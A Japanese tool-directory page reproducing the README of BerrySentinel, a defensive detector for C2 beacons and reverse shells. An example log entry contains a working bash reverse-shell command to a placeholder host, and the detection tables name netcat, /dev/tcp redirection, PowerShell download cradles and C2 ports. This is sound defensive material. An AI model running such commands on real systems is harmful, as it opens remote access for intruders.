Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
BerrySentinel — Berry Sentinel v5.0 — Linux/Windows/Unixシステム向けの高度な行動ベースC2・リバースシェル検出器。リアルタイム接続分析、ヒューリスティックスコアリング、C2フレームワークシグネチャ検出、ビーコン間隔分析、プロセスキルエンジンを備えたインタラクティブなcursesベースTUIを搭載。 | Kitploit
ツール/GitHubGitHub/dereeqw/berrysentinel
防御ツールネットワークセキュリティマルウェア分析ペネトレーションテストコマンド&コントロール脅威インテリジェンス侵入検知レッドチーミングインシデントレスポンス異常検知ログ分析
GitHub
135ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
dereeqw/berrysentinel

BerrySentinel

Berry Sentinel v5.0 — Linux/Windows/Unixシステム向けの高度な行動ベースC2・リバースシェル検出器。リアルタイム接続分析、ヒューリスティックスコアリング、C2フレームワークシグネチャ検出、ビーコン間隔分析、プロセスキルエンジンを備えたインタラクティブなcursesベースTUIを搭載。

リポジトリを見る

🫐 Berry Sentinel

リアルタイムC2(Command & Control)接続の行動検出器

Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine

Python 3.8+ Platform License: MIT


概要

Berry Sentinelは、システム上のすべてのアクティブなネットワーク接続を監視し、それらを生成するプロセスの振る舞いを分析して悪意のある活動を検出します — アンチウイルスの署名データベースやブロックされたIPリストは使用しません。

リバースシェル、ウェブシェル、RAT、C2ビーコン、およびMeterpreter、Cobalt Strike、Sliver、Empireなどのフレームワークを、プロセスの振る舞い方を観察することで検出します。Pythonインタプリタのstdinがリモートソケットに接続されている場合、IPが不明でもそれは疑わしいと判断します。

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════════════╗
║  BERRY SENTINEL v5.0 — Detector Conductual C2 · TUI Interactivo                                 ║
║  Conexiones: 38 │ Amenazas: 2 │ Firmas: 1 │ via proc/open+ss │ 12ms │ #47                       ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID  SEV      PTS   PID    PROC    REMOTO                ESTADO  FIRMAS/TAGS                     ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║  3  █CRÍTICO  85   1337   bash    1.2.3.4:4444   ESTAB  ⚑Meterpreter SHELL→NET.                ║
║  7  ▲ALTO     52   2048   python3 5.6.7.8:8443   ESTAB  TLS-NOBR BCN(60s)                      ║
╚══════════════════════════════════════════════════════════════════════════════════╝

特徴

  • cursesを使用した対話型TUI: ↑↓ナビゲーション、接続詳細、統合キルエンジン
  • 純粋な行動分析: AVシグネチャなし、IPブラックリストなし
  • ビーコン検出: 定期的な間隔でC2接続を識別(Cobalt Strike ~60秒、Empire ~5秒など)
  • 14以上のC2フレームワーク認識: Meterpreter、Cobalt Strike、Sliver、Empire、Havoc、Brute Ratel、Pupy、Merlin、Covenant、Mythic...
  • ディープスキャン(root権限): プロセスメモリ、RWX領域、環境変数、ディスクから削除された実行ファイルを分析
  • Bulletproof Collection: 並列で5つの収集方法(/proc/net、ss、netstat、psutil、lsof)を使用し、自動重複排除
  • クロスプラットフォーム: Linux、macOS、Windows、Android/Termux
  • JSONおよびログ出力: jq、ELK、Splunk互換のJSONL形式でアラートを出力
  • ホワイトリスト: 信頼できるIPやネットワークをCIDRで無視可能
  • 基本モードではゼロ依存関係(stdlibのみ); psutilはオプションで追加カバレッジを提供

インストール

root@kitploit:~
# リポジトリのクローン
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel 

# (推奨)psutilのインストール
pip install psutil

# 実行
python3 BerrySentinel.py

Android / Termux

root@kitploit:~
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui  # Termuxではcursesが利用できない場合があります

インストール不要(ワンライナー)

root@kitploit:~
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py

使用方法

root@kitploit:~
python3 BerrySentinel.py [オプション]

オプション:
  --all, -a           ローカル/ループバック接続も含める(リモートに加えて)
  --interval N, -i N  N秒ごとに更新(デフォルト: 2、最小: 0.5)
  --log FILE, -l FILE アラートをファイルに保存(JSONL形式)
  --json, -j          終了時に完全なJSONをエクスポート
  --whitelist LISTA   無視するIPまたはCIDR(カンマ区切り)
  --no-color          ANSIカラーなし(パイプやログに便利)
  --verbose, -v       疑わしいものだけでなく、すべての接続を表示
  --top N, -t N       テーブルの最大行数(デフォルト: 50)
  --diag, -d          診断:どの収集方法が機能しているかを表示
  --no-tui            cursesを使用しないレガシーモード(クラシックなスクロール、より移植性が高い)
  --version, -V       バージョンを表示して終了

例

root@kitploit:~
# 対話型TUI — 推奨モード
python3 BerrySentinel.py

# rootでディープスキャン(プロセスメモリにアクセス)
sudo python3 BerrySentinel.py --all

# アラートを保存し、終了時にJSONをエクスポート
python3 BerrySentinel.py --log /var/log/sentinel.log --json

# 内部ネットワークを無視し、5秒ごとに更新
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5

# スクリプトや対話型端末のないSSHで使用するためのテキストモード
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt

# 現在のシステムでどの収集方法が機能しているかを確認
python3 BerrySentinel.py --diag --no-tui

# 重大なアラートのみ、10秒ごとに更新、ログを保存
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json

対話型TUIのキー操作


スコアリングシステム

各接続には、検出された指標に基づいて0から100のスコアが割り当てられます:

スコアに基づく深刻度:


検出されるC2フレームワーク

Berry Sentinelは、以下のフレームワークのシグネチャを含みます(ポート、プロセス名、コマンドライン、ビーコンパターンによる評価):


ログ形式(JSONL)

各アラートは独立したJSON行として記録されます:

root@kitploit:~
{
  "ts": "2025-07-15T14:23:01.123456",
  "id": 42,
  "sev": "CRÍTICO",
  "score": 85.0,
  "pid": 1337,
  "name": "bash",
  "cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
  "remote": "1.2.3.4:4444",
  "local": "192.168.1.10:52341",
  "state": "ESTABLISHED",
  "tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
  "sigs": ["Meterpreter"],
  "src": "proc/open(self)+ss+netstat"
}

jqで処理:

root@kitploit:~
# クリティカルな接続のみフィルタ
jq 'select(.sev == "CRÍTICO")' sentinel.log

# すべての疑わしいPIDを表示
jq '[.pid] | unique' sentinel_export.json

# 特定のシグネチャで検索
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log

アーキテクチャ

root@kitploit:~
BerrySentinel.py
├── グローバル定数
│   ├── SHELL_BINS, SCRIPT_ENGINES  — シェルとインタプリタの名前
│   ├── C2_SUSPECT_PORTS            — 一般的なC2ポート
│   ├── PRIVATE_NETS                — プライベートIP範囲
│   └── C2_SIGNATURES               — 既知のフレームワークシグネチャ
│
├── データモデル
│   ├── C2Signature   — C2シグネチャの定義
│   ├── ProcInfo      — OSプロセス情報
│   ├── Conn          — ネットワーク接続+分析結果
│   └── BeaconTracker — C2ビーコン検出器
│
├── データ収集
│   ├── Collector     — 複数のネットワークソースを統括
│   ├── parse_proc_net_content() — /proc/net/* パーサー
│   ├── build_inode_pid_map()    — inode→PIDマップ
│   ├── get_proc_info()          — /proc経由のプロセス情報
│   └── get_proc_info_psutil()   — psutil経由のプロセス情報
│
├── 分析
│   ├── Engine.analyze()    — スコア+行動タグ
│   ├── Engine._beacon()    — ビーコン検出
│   └── match_signatures()  — C2シグネチャマッチング
│
├── 出力
│   ├── CursesTUI   — 対話型TUI(デフォルトモード)
│   ├── LegacyTUI   — cursesなしのANSI出力(フォールバック)
│   └── Logger      — ディスクへのJSONLログ
│
└── Sentinel        — メインオーケストレーター

必要条件

  • Python 3.8+
  • psutil — オプションですが強く推奨(pip install psutil)

追加の依存関係がなくてもツールはPythonのstdlibで動作します。psutilは、/procが存在しないmacOSやWindowsでカバレッジを追加します。


プラットフォーム


カスタマイズ

独自のC2シグネチャを追加

root@kitploit:~
from BerrySentinel import C2Signature, C2_SIGNATURES

mi_rat = C2Signature(
    name="MiRAT",
    description="RAT interno corporativo no autorizado",
    score_bonus=70,
    checks=[
        {"type": "port", "value": 6543},
        {"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
        {"type": "procname", "value": r"^mi_rat$"},
    ],
)
C2_SIGNATURES.append(mi_rat)

スクリプトでライブラリとして使用

root@kitploit:~
import argparse
from BerrySentinel import Sentinel, Sev

args = argparse.Namespace(
    all=True, interval=10, log=None, json=False,
    whitelist="192.168.0.0/16", no_color=True,
    verbose=False, top=100, diag=False, no_tui=True
)

s = Sentinel(args)
s._cycle_data()

for conn in s.last_conns:
    if conn.severity >= Sev.HIGH:
        proc = conn.proc
        print(f"[ALERTA] PID {conn.pid} ({proc.name if proc else '?'}) "
              f"→ {conn.remote_addr}:{conn.remote_port} "
              f"score={conn.score:.0f} tags={conn.tags}")

カスタム分析エンジン

root@kitploit:~
from BerrySentinel import Engine, Conn, Sev

class MiEngine(Engine):
    KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}

    def analyze(self, c: Conn) -> Conn:
        c = super().analyze(c)
        # 独自のロジックを追加
        if c.remote_addr in self.KNOWN_C2_IPS:
            c.score = min(c.score + 40, 100)
            c.tags.append("KNOWN-IOC-IP")
            c.severity = Sev.CRITICAL
        return c

責任ある使用についての注意

Berry Sentinelは、自身のシステムまたは明示的な許可を得たシステムを監視するために設計されています。キルエンジンはユーザーが明示的に要求した場合にのみ動作します。責任を持って、該当する法令に従って使用してください。


ライセンス

MIT — LICENSEを参照

ツールをダウンロード
キーアクション
↑ / ↓接続間を移動
d / D選択した接続の詳細パネルを表示
k / Kプロセスを強制終了(PIDの確認を求める)
f / F深刻度フィルタを循環:ALL → MEDIO → ALTO → CRÍTICO
r即時更新を強制
ESC詳細パネルを閉じるか操作をキャンセル
q終了
指標ポイントタグ
stdin/stdout → ソケット+55FD→SOCK
リモート接続を持つバイナリシェル+40SHELL→NET
ウェブシェル(Apache/Nginxの子プロセスとしてのシェル)+35WEBSHELL
高ポートでのバインドシェル+35BIND-SHELL
netcat/socatの使用+35NETCAT
/dev/tcp または mkfifo によるリダイレクト+40PIPE-REDIR
ディスクから削除された実行ファイル+25EXE-DEL!
/tmp または /dev/shm にある実行ファイル+15EXE-TMP
ビーコン検出(周期的な接続)+25×信頼度BCN(60s)
Meterpreterシグネチャ+55SIG:Meterpreter
Cobalt Strikeシグネチャ+60SIG:CobaltStrike
Sliverシグネチャ+58SIG:Sliver
RWXメモリ領域+20RWX(N)
LD_PRELOAD または HISTFILE=/dev/null+10ENV:LD_PRELOAD
スクリプトインタプリタが接続中+25INTERP→NET
コマンドラインでのeval/exec+18EVAL
リモートPowerShell(IEX、DownloadString)+30PS-REM
スコア深刻度色
≥ 65クリティカル🔴 明るい赤
≥ 45高🟠 オレンジ
≥ 25中🟡 黄
≥ 8低🔵 シアン
< 8情報⚪ グレー
フレームワークスコアボーナス主要な指標
Meterpreter+55ポート4444、プロセスruby/msfconsole
Cobalt Strike+60ポート50050、ビーコン約60秒、プロセスjava
Sliver+58ポート31337/8888、ビーコン約60秒
Empire+55ポート1234/7777、PowerShell -enc
Brute Ratel+62ポート2083、プロセスbadger
Havoc+58ポート40056、demon.x64/x86
Pupy RAT+52ポート9999、pupy.py
Merlin+54ポート8443、merlin-agent
Covenant+54ポート7443、GruntHTTP
PoshC2+52FComServer、ImplantCore
Mythic+56ポート7443、poseidon/apfell
QuasarRAT+50ポート4782-4785
NetcatShell+45socat exec bash、pty
DNS-C2+40ポート53、dnscat/iodine
システムサポート備考
Linux✅ 完全rootでディープスキャン有効
Android/Termux✅ 完全cursesが失敗する場合は--no-tuiを使用
macOS⚠️ 部分的/procなし; netstat+psutilを使用
Windows⚠️ 部分的netstat+psutil、メモリ分析なし